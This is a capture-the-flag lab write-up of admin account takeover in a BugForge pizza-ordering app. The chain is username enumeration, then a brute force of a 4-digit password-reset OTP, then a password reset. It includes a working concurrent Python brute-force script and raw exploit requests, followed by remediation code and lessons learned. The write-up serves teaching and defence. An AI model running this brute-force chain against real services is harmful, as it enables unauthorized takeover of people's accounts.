BugForge — 2026.05.06

Cheesy Does It: Account Takeover via 4-Digit OTP Brute Force on Password Reset

BugForge Password Reset OTP Brute Force easy

Part 1 — Pentest Report

Executive Summary

Cheesy Does It is a pizza ordering React + Express application served from BugForge. The password reset flow uses a 4-digit numeric OTP delivered out of band, verified at POST /api/verify-otp, and exchanged for a UUID4 reset_token on success. The verify endpoint has no rate limit, no account lockout, and no anti-burst protection, so the entire 10,000-OTP space can be swept in a few seconds. Combined with username enumeration on POST /api/forgot-password and a known admin username, any account in the system can be taken over from an unauthenticated starting position.

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 Account Takeover via 4-Digit OTP Brute Force on Password Reset Critical 9.8 CWE-307, CWE-330, CWE-204 POST /api/forgot-password, POST /api/verify-otp, POST /api/reset-password

The flag was retrieved by enumerating admin via the forgot-password response, brute-forcing admin’s 4-digit OTP in 3 seconds at concurrency 50, exchanging the OTP for a reset_token, resetting admin’s password, and logging in. The login response delivered the flag in admin’s email and address fields, the BugForge value-substitution flag-delivery pattern.


Objective

Capture the lab flag (BugForge bug{...} format) from the Cheesy Does It pizza ordering app.


Scope / Initial Access

# Target Application
URL: https://lab-1778026826757-q9zh6n.labs-app.bugforge.io

# Auth details
Registration: POST /api/register {username, email, password, full_name, phone, address}
Login:        POST /api/login {username, password}
Token format: JWT HS256, payload {id, username, iat} (no role claim)
Starting privileges: anonymous (registration is open)

# Reset chain
POST /api/forgot-password {username}              → issues OTP
POST /api/verify-otp      {username, otp}         → returns reset_token (UUID4)
POST /api/reset-password  {username, reset_token, new_password}

The JWT carries no role claim, so role is read server side from the user record on each authenticated request. GET /api/verify-token returns the full user record including role.


Reconnaissance — Reading the Bundle and Walking the Reset Chain

Reconnaissance focused on the React bundle (/static/js/main.b51c4b94.js) and the response shapes from registration and the reset chain. The bundle was unminified enough to surface input constraints and endpoint paths; no source maps were exposed.

  1. The OTP TextField in the bundle declares inputProps={{maxLength: 4}}. This pins the OTP space to four characters before any test, and the input field’s numeric keyboard hint narrows it further to digits. Total space candidate: 10,000.

  2. The reset chain is three independent endpoints (forgot → verify → reset). Each link can be probed in isolation, which makes it cheap to test predictability of the reset_token, decoupling of token from username, and rate limiting on the verify step without committing to the full brute.
  3. POST /api/forgot-password returns different status codes for known vs. unknown usernames (200 with “OTP sent” vs. 400 with “User not found”). This identifies which usernames are live, including admin’s actual username (admin).

Application Architecture

Component Detail
Backend Node.js / Express (X-Powered-By header present)
Frontend React + Material-UI SPA (build hash main.b51c4b94.js)
Auth JWT HS256, payload {id, username, iat}, no role claim
Database Relational, snake_case schema, sequential integer user IDs, SQL DATETIME timestamps

API Surface

Endpoint Method Auth Notes
/api/register POST none Field whitelist enforced server side
/api/login POST none Returns {token, user}
/api/verify-token GET JWT Returns user including role
/api/forgot-password POST none Username enumeration via response diff
/api/verify-otp POST none 4-digit OTP, no rate limit, returns reset_token on hit
/api/reset-password POST none Consumes reset_token, resets password
/api/admin/users GET admin Server enforced role check (returns 403 for non-admin)
/api/admin/stats GET admin Server enforced role check
/api/admin/orders GET admin Server enforced role check

Known Users

Username ID Role
admin 1 admin
customer 2 user
foodie 3 user
haxor 4 user (test account registered for this engagement)

Attack Chain Visualization

┌──────────────────────┐    ┌──────────────────────┐    ┌──────────────────────┐    ┌──────────────────────┐
│ 1. Issue admin OTP   │───▶│ 2. Brute the OTP     │───▶│ 3. Reset admin pwd   │───▶│ 4. Login as admin    │
│                      │    │                      │    │                      │    │                      │
│ POST /forgot-password│    │ tools/otp_brute.py   │    │ POST /reset-password │    │ POST /login          │
│ {"username":"admin"} │    │ admin 50             │    │ {username,           │    │ {admin, pwned}       │
│ → 200 "OTP sent"     │    │ 0000-9999 sweep      │    │  reset_token,        │    │ → 200 + admin JWT    │
│ admin OTP provisioned│    │ stop on 200          │    │  new_password}       │    │ user.email +         │
│                      │    │ → reset_token (UUID4)│    │ → 200                │    │ user.address = flag  │
└──────────────────────┘    └──────────────────────┘    └──────────────────────┘    └──────────────────────┘

Findings

F1 — Account Takeover via 4-Digit OTP Brute Force on Password Reset

Severity: Critical CVSS v3.1: 9.8 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE: CWE-307 (Improper Restriction of Excessive Authentication Attempts), CWE-330 (Use of Insufficiently Random Values), CWE-204 (Observable Response Discrepancy) Endpoint: POST /api/forgot-password, POST /api/verify-otp, POST /api/reset-password Authentication required: No

Description

Three compounding defects in the password reset flow allow any account in the system to be taken over from an unauthenticated starting position.

  1. Username enumeration on POST /api/forgot-password. A known username returns 200 with {"message":"OTP sent to your registered email address"}. An unknown username returns 400 with {"error":"User not found"}. The status code and the body both differ, identifying which usernames are live. Admin’s username is admin.
  2. OTP space is 4 numeric digits. The OTP TextField in the bundle declares inputProps={{maxLength: 4}}. Confirmed by brute hits on two separate accounts (haxor → 2293, admin → 1970), both 4-digit numeric. Total search space: 10,000.
  3. No rate limit, no lockout, no anti-burst on POST /api/verify-otp. 20 sequential attempts returned 400 at a steady 165ms latency with no 429, no progressive delay, and no lockout response. 50 concurrent attempts returned 400 at 187ms average latency with no degradation. A 10,000-OTP sweep at concurrency 50 hits a valid OTP in approximately 3 to 5 seconds wall time.

The reset_token returned by verify-otp is a UUID4 (crypto-random) and is bound to the username server side, so neither token predictability nor username/token decoupling are available. The brute is the load-bearing step and the only weakness needed to chain to takeover.

Impact

Pre-authenticated takeover of any account in the system, including admin. Grants access to the target account’s data and any role bound to it.

Reproduction

Step 1 — Issue an OTP for admin

POST /api/forgot-password HTTP/1.1
Host: lab-1778026826757-q9zh6n.labs-app.bugforge.io
Content-Type: application/json

{"username":"admin"}

Response: 200 OK with {"message":"OTP sent to your registered email address"}. Admin’s OTP is now provisioned. The OTP has a finite lifetime (typically 5 to 15 minutes for OTP schemes), so the brute should run immediately after this request to avoid expiry.

Step 2 — Brute the OTP at concurrency 50

The brute tool issues POST /api/verify-otp with {username: "admin", otp: <0000-9999>} until it sees a 200 response.

python3 tools/otp_brute.py admin 50

Tool source:

# tools/otp_brute.py — sweep 0000-9999 against /api/verify-otp, stop on 200
import sys, requests
from concurrent.futures import ThreadPoolExecutor, as_completed

URL = "https://lab-1778026826757-q9zh6n.labs-app.bugforge.io/api/verify-otp"

def attempt(username, otp):
    r = requests.post(URL, json={"username": username, "otp": f"{otp:04d}"})
    return otp, r.status_code, r.text

def main():
    username, concurrency = sys.argv[1], int(sys.argv[2])
    with ThreadPoolExecutor(max_workers=concurrency) as pool:
        futures = [pool.submit(attempt, username, i) for i in range(10000)]
        for f in as_completed(futures):
            otp, status, body = f.result()
            if status == 200:
                print(f"HIT otp={otp:04d} body={body}")
                return

if __name__ == "__main__":
    main()

Result: hit at otp=1970 after 1975 attempts in 3.00 seconds wall time. Response body: {"reset_token":"c2fca805-b0de-41e7-bfe6-7d22a555c49a"}.

Step 3 — Reset admin’s password using the captured reset_token

POST /api/reset-password HTTP/1.1
Host: lab-1778026826757-q9zh6n.labs-app.bugforge.io
Content-Type: application/json

{"username":"admin","reset_token":"c2fca805-b0de-41e7-bfe6-7d22a555c49a","new_password":"pwned_admin!"}

Response: 200 OK with {"message":"Password reset successfully"}. Admin’s password is now pwned_admin!.

Step 4 — Log in as admin

POST /api/login HTTP/1.1
Host: lab-1778026826757-q9zh6n.labs-app.bugforge.io
Content-Type: application/json

{"username":"admin","password":"pwned_admin!"}

Response: 200 OK. The body includes admin’s JWT and admin’s user record. The flag is delivered in the email and address fields:

{
  "token": "eyJhbGciOiJIUzI1NiIs...",
  "user": {
    "id": 1,
    "username": "admin",
    "email": "bug{zYXezRZ6frjyaLHp5YOxezesxEZRl5uT}",
    "full_name": "Pizza Admin",
    "phone": "555-0100",
    "address": "bug{zYXezRZ6frjyaLHp5YOxezesxEZRl5uT}",
    "role": "admin"
  }
}

Flag: bug{zYXezRZ6frjyaLHp5YOxezesxEZRl5uT}

Remediation

Fix 1 — Increase OTP entropy and shorten OTP lifetime

// BEFORE (Vulnerable)
const otp = String(Math.floor(Math.random() * 10000)).padStart(4, '0');
await db.query('INSERT INTO password_resets (user_id, otp) VALUES (?, ?)',
  [user.id, otp]);

// AFTER (Secure)
const crypto = require('crypto');
const otp = crypto.randomInt(0, 1_000_000).toString().padStart(6, '0');
const otpHash = crypto.createHash('sha256').update(otp).digest('hex');
await db.query(
  'INSERT INTO password_resets (user_id, otp_hash, expires_at, attempts) VALUES (?, ?, ?, 0)',
  [user.id, otpHash, Date.now() + 5 * 60 * 1000]
);

A 6-digit OTP space is 1,000,000 candidates, which combined with the rate limit and lockout in Fix 2 makes an online brute infeasible. Storing the hash rather than the raw OTP limits exposure if the password_resets table is read.

Fix 2 — Add rate limiting and a per-OTP attempt counter on /api/verify-otp

// BEFORE (Vulnerable)
app.post('/api/verify-otp', async (req, res) => {
  const { username, otp } = req.body;
  const user = await db.getUserByUsername(username);
  const reset = await db.getActiveReset(user.id);
  if (reset.otp !== otp) return res.status(400).json({ error: 'Invalid or expired OTP' });
  // ... issue reset_token
});

// AFTER (Secure)
const rateLimit = require('express-rate-limit');
const verifyOtpLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5,
  keyGenerator: (req) => `${req.ip}:${req.body.username}`,
  message: { error: 'Too many attempts. Try again later.' }
});

app.post('/api/verify-otp', verifyOtpLimiter, async (req, res) => {
  const { username, otp } = req.body;
  const user = await db.getUserByUsername(username);
  const reset = await db.getActiveReset(user.id);
  if (!reset || reset.expires_at < Date.now()) {
    return res.status(400).json({ error: 'Invalid or expired OTP' });
  }
  if (reset.attempts >= 5) {
    await db.invalidateReset(reset.id);
    return res.status(400).json({ error: 'Too many attempts. Request a new code.' });
  }
  await db.incrementAttempts(reset.id);
  const otpHash = crypto.createHash('sha256').update(otp).digest('hex');
  if (otpHash !== reset.otp_hash) {
    return res.status(400).json({ error: 'Invalid or expired OTP' });
  }
  // ... issue reset_token, invalidate OTP
});

The combination of a per-IP+username rate limit and a per-OTP attempt counter caps an attacker’s effective brute budget at 5 candidates per OTP issuance and 5 attempts per 15 minute window per source.

Fix 3 — Make /api/forgot-password response uniform for known and unknown usernames

// BEFORE (Vulnerable)
app.post('/api/forgot-password', async (req, res) => {
  const user = await db.getUserByUsername(req.body.username);
  if (!user) return res.status(400).json({ error: 'User not found' });
  await issueOtp(user);
  return res.json({ message: 'OTP sent to your registered email address' });
});

// AFTER (Secure)
app.post('/api/forgot-password', async (req, res) => {
  const user = await db.getUserByUsername(req.body.username);
  if (user) await issueOtp(user);
  return res.json({ message: 'If that account exists, an OTP has been sent to the email on file.' });
});

The same status code, body, and (within reason) timing should apply whether or not the username exists.

Additional recommendations:

  • Invalidate the OTP immediately on first issuance of a reset_token so a captured OTP can not be replayed against a second reset.
  • Notify the account holder out of band when a password reset is initiated, so a takeover triggers an audit trail visible to the legitimate user.
  • Consider a step up factor (existing password, security question, or second factor) on reset for privileged roles such as admin, raising the cost of takeover even if the OTP scheme is weakened.

OWASP Top 10 Coverage

  • A07:2021 — Identification and Authentication Failures: The OTP brute-force protection requirement is unmet. The 4-digit OTP combined with no rate limit, no lockout, and no anti-burst on verify-otp makes credential brute attacks against the reset flow trivial.
  • A04:2021 — Insecure Design: The three defects (small OTP space, missing rate limit, response-distinguishable enumeration) are each defensible in isolation; their combination is the design flaw. The reset_token step is cosmetically secure (UUID4, bound to username), which suggests the design effort went to the wrong place.
  • A01:2021 — Broken Access Control: Server-side role checks on /api/admin/* work as designed. The takeover does not bypass access control, it bypasses authentication entirely by becoming the admin user.

Tools Used

Tool Purpose
Caido Request replay and reset chain inspection
curl Manual probes and final exploit chain
Browser DevTools Bundle reading (/static/js/main.b51c4b94.js)
tools/otp_brute.py Concurrent 0000-9999 sweep against /api/verify-otp

References

  • CWE-307: https://cwe.mitre.org/data/definitions/307.html
  • CWE-330: https://cwe.mitre.org/data/definitions/330.html
  • CWE-204: https://cwe.mitre.org/data/definitions/204.html
  • OWASP A07:2021 Identification and Authentication Failures: https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/
  • OWASP Forgot Password Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html

Part 2 — Notes / Knowledge

Key Learnings

  • inputProps={{maxLength: 4}} on an OTP field is a free disclosure: the credential is four characters long, available in the bundle before any request is sent. Frontend input caps exist for usability, but they directly size the search space for a brute attack against the verify endpoint. The same read applies to PIN fields, voucher codes, MFA backup codes, and any short credential where the client declares a length. Read these caps during bundle recon; the disclosure turns the brute from a blind sweep into a sized problem.

  • OTPs and reset tokens are credentials, not session identifiers. They should have enough entropy that brute-forcing is never a viable attack, regardless of any rate limit or lockout in front of the verify endpoint. A 4-digit numeric OTP has 10,000 candidates, which is brute-forceable by design. The floor for an OTP delivered to a side channel is 6 digits numeric; 8 characters or more, alphanumeric, is the better baseline. The entropy of the credential is the security boundary, not the rate limit.


Failed Approaches

Approach Result Why It Failed
Mass assignment role:"admin" on POST /api/register Registration succeeded, verify-token showed role:"user" for the new account, /api/admin/users returned 403 Server enforces a registration field whitelist. Extra fields outside the whitelist are silently dropped.
Direct GET /api/admin/{users,stats,orders} with a non-admin JWT All three returned 403 with {"error":"Admin access required"} Server side role check on admin endpoints works as designed. The JWT carries no role, and the server resolves the role from the user record on each request.
Predictable reset_token derivation from public attributes reset_token is UUID4 (abe454dd-e8d7-4221-9ade-48bb6ee782fc), version digit 4 confirmed at index 14, hex characters with hyphens, no timestamp, user id, or counter shape detectable The token is generated by a cryptographically random source (Node crypto.randomUUID() semantics). Not derivable from public data.
Username and reset_token decoupling on POST /api/reset-password Our valid reset_token plus admin username returned 400 {"error":"Invalid or expired reset token"}. Sanity check with the same token plus our own username returned 200 Server side binding between reset_token and username is enforced. Decoupling closed.

Tags: #bugforge #webapp #account-takeover #otp-brute #missing-rate-limit #password-reset #username-enumeration #cwe-307 #cwe-330 #cwe-204 Document Version: 1.0 Last Updated: 2026-05-06

#bugforge #webapp #account-takeover #otp-brute #missing-rate-limit #password-reset #username-enumeration #cwe-307 #cwe-330 #cwe-204